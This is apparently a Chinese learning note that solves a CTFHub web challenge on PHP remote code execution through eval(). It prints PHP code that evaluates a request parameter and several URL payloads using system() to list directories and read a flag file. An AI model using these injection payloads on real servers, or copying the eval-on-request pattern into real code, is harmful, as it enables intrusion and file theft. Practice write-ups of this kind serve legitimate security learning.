CTFHub 技能树 Web RCE eval执行(学习记录)

eval执行

源代码

php 复制代码
<?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

PHP代码显示,要求将命令赋值给cmd然后执行

先查看一下根目录文件 /?cmd=system("ls");

查看上一级目录找flag文件

/?cmd=system("ls /");

打开flag文件发现FLAG

/?cmd=system("cat /flag_9237");

linux在读取flag的时候可以使用*去匹配

cat /flag*

/?cmd=system("cat /flag*");

相关推荐
峥嵘life14 小时前
Android 蓝牙设备连接广播详解-2026
android·python·学习
楼田莉子14 小时前
Docker学习:Docker介绍及其架构介绍
运维·后端·学习·docker·容器·架构
星夜夏空9914 小时前
FreeRTOS学习(7)——任务列表
java·前端·学习
不羁的木木14 小时前
Form Kit(卡片开发服务)学习笔记01-核心概念与架构设计
笔记·学习·harmonyos
Mikowoo00714 小时前
神经网络 替代 线性模型_进行模型学习
人工智能·神经网络·学习
不羁的木木14 小时前
ArkWeb实战学习笔记01-核心概念与架构设计
笔记·学习·harmonyos
网络与设备以及操作系统学习使用者16 小时前
零信任架构落地实践详解
运维·网络·学习·架构
吃好睡好便好16 小时前
说说眼睛的日常保健
学习·生活
_李小白16 小时前
【android opencv学习笔记】Day 29: 滤波算法之Sobel 边缘检测
android·opencv·学习
Engineer邓祥浩17 小时前
宏观认知(3):AI战略与社会影响——吴恩达《AI for Everyone》Week3学习笔记
人工智能·笔记·学习